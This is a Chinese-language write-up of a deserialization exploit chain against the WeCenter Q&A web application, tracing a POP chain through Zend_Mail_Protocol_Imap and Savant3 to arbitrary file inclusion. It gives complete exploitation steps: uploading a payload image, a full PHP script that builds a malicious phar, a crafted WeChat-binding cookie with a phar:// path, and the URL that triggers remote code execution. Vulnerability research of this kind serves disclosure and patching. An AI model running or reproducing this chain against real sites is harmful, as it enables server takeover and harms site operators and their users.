WECENTER 反序列任意文件包含利用链

看了下最近的WeCenter的反序列,原文最后是通过反序列执行任意SQL语句进入后台实现GETSHELL。自己想另外找一个前台就能GETSHELL的利用链,就去看了下代码。

POP

system/Savant3.php

1
2
3
4
5
6
7
8
class Savant3 {
.......
public function __toString()
{
return $this->getOutput();
}
.......
}

在toString魔术方法中调用了getOutput方法,

1
2
3
4
5
6
7
8
9
10
public function getOutput($tpl = null)
{
$output = $this->fetch($tpl);
if ($this->isError($output)) {
$text = $this->__config['error_text'];
return $this->escape($text);
} else {
return $output;
}
}

接着调用fetch方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
public function fetch($tpl = null)
{
// make sure we have a template source to work with
if (is_null($tpl)) {
$tpl = $this->__config['template'];
}
// get a path to the compiled template script
$result = $this->template($tpl);
// did we get a path?
if (! $result || $this->isError($result)) {
// no. return the error result.
return $result;
} else {
// yes. execute the template script. move the script-path
// out of the local scope, then clean up the local scope to
// avoid variable name conflicts.
$this->__config['fetch'] = $result;
unset($result);
unset($tpl);
// are we doing extraction?
if ($this->__config['extract']) {
// pull variables into the local scope.
extract(get_object_vars($this), EXTR_REFS);
}
// buffer output so we can return it instead of displaying.
ob_start();
// are we using filters?
if ($this->__config['filters']) {
// use a second buffer to apply filters. we used to set
// the ob_start() filter callback, but that would
// silence errors in the filters. Hendy Irawan provided
// the next three lines as a "verbose" fix.
ob_start();
include $this->__config['fetch'];
echo $this->applyFilters(ob_get_clean());
} else {
// no filters being used.
include $this->__config['fetch'];
}
// reset the fetch script value, get the buffer, and return.
$this->__config['fetch'] = null;
return ob_get_clean();
}
}

在getOutput调用fetch方法时,传入的参数为null。所以这时候可以通过控制__config[‘template’]成员变量进而控制tpl模板路径。接着会调用template方法获取模板文件绝对路径,如果文件存在就会包含该文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
protected function template($tpl = null)
{
// set to default template if none specified.
if (is_null($tpl)) {
$tpl = $this->__config['template'];
}
// find the template source.
$file = $this->findFile('template', $tpl);
if (! $file) {
return $this->error(
'ERR_TEMPLATE',
array('template' => $tpl)
);
}

在template方法中,通过findFile方法获取模板文件的绝对路径,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
protected function findFile($type, $file)
{
// get the set of paths
$set = $this->__config[$type . '_path'];
// start looping through the path set
foreach ($set as $path) {
// get the path to the file
$fullname = $path . $file;
// is the path based on a stream?
if (strpos($path, '://') === false) {
// not a stream, so do a realpath() to avoid
// directory traversal attempts on the local file
// system. Suggested by Ian Eure, initially
// rejected, but then adopted when the secure
// compiler was added.
$path = realpath($path); // needed for substr() later
$fullname = realpath($fullname);
}
// the substr() check added by Ian Eure to make sure
// that the realpath() results in a directory registered
// with Savant so that non-registered directores are not
// accessible via directory traversal attempts.
if (file_exists($fullname) && is_readable($fullname) &&
substr($fullname, 0, strlen($path)) == $path) {
return $fullname;
}
}
// could not find the file in the set of paths
return false;

可见模板的目录来自__config[$type . ‘_path’]成员变量,模板文件名来自tpl变量,都可以通过反序列控制这些变量。如果文件存在就会直接返回该文件路径然后包含该文件,所以在反序列时,可以实现任意文件包含。

接着需要找一个能触发Savant3类__toString方法的链。
在system/Zend/Mail/Protocol/Imap.php中,

1
2
3
4
5
6
7
8
9
class Zend_Mail_Protocol_Imap
{
........
public function __destruct()
{
$this->logout();
}
........
}

跟入logout方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public function logout()
{
$result = false;
if ($this->_socket) {
try {
$result = $this->requestAndResponse('LOGOUT', array(), true);
} catch (Zend_Mail_Protocol_Exception $e) {
// ignoring exception
}
fclose($this->_socket);
$this->_socket = null;
}
return $result;
}

在设置了_socket成员变量的情况下会接着调用requestAndResponse方法,

1
2
3
4
5
6
7
public function requestAndResponse($command, $tokens = array(), $dontParse = false)
{
$this->sendRequest($command, $tokens, $tag);
$response = $this->readResponse($tag, $dontParse);
return $response;
}

1
2
3
4
5
6
7
8
public function sendRequest($command, $tokens = array(), &$tag = null)
{
if (!$tag) {
++$this->_tagCount;
$tag = 'TAG' . $this->_tagCount;
}
$line = $tag . ' ' . $command;

在sendRequest方法中,++操作符对对象类型无影响,_tagCount属性和’TAG’字符串进行了拼接,将_tagCount属性设置为Savant3的实例对象就能触发Savant3的toString魔术方法进而实现利用。

反序列触发点就不再写了,直接看之前的文章即可。

利用

/?/publish/
注册完账号后,在发起问答里上传被包含的图片

-w1393

uploads/question/20200122/81f8ed3cbc7fe76fc7b18e28108316b9.jpg

然后生成Phar, 访问plugins/wc_editor/editor.php文件可获取到绝对路径,也可以使用相对路径。
-w932

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
class Savant3{
protected $__config = array();
function __construct(){
$this->__config['template'] = '81f8ed3cbc7fe76fc7b18e28108316b9.jpg';
$this->__config['template_path'] = array("/Applications/MAMP/htdocs/test/wecenter/uploads/question/20200122/");
}
}
class Zend_Mail_Protocol_Imap{
protected $_socket;
protected $_tagCount;
function __construct()
{
$this->_socket = 'a';
$this->_tagCount = new Savant3();
}
}
$obj = new Zend_Mail_Protocol_Imap();
$filename = "exp.phar";
$phar=new Phar($filename);
$phar->startBuffering();
$phar->setMetadata($obj);
$phar->addFromString("a","b");
$phar->stopBuffering();
?>

生成后接着上传phar文件。
-w1427

得到phar文件地址,
uploads/question/20200122/126d8d61e2d864a875dc714380b833a6.jpg

接着访问/?/m/weixin/binding/ 绑定微信,将phar文件地址替换到以下cookie里

1
cookie前缀_WXConnect={"access_token":{"openid":"aa"},"access_user":{"nickname":"aaa","headimgurl":"phar://./uploads/question/20200122/126d8d61e2d864a875dc714380b833a6.jpg"}}

-w1068

最后访问/?/account/ajax/synch_img/ 即可触发反序列。

-w518

References

1.https://xz.aliyun.com/t/7077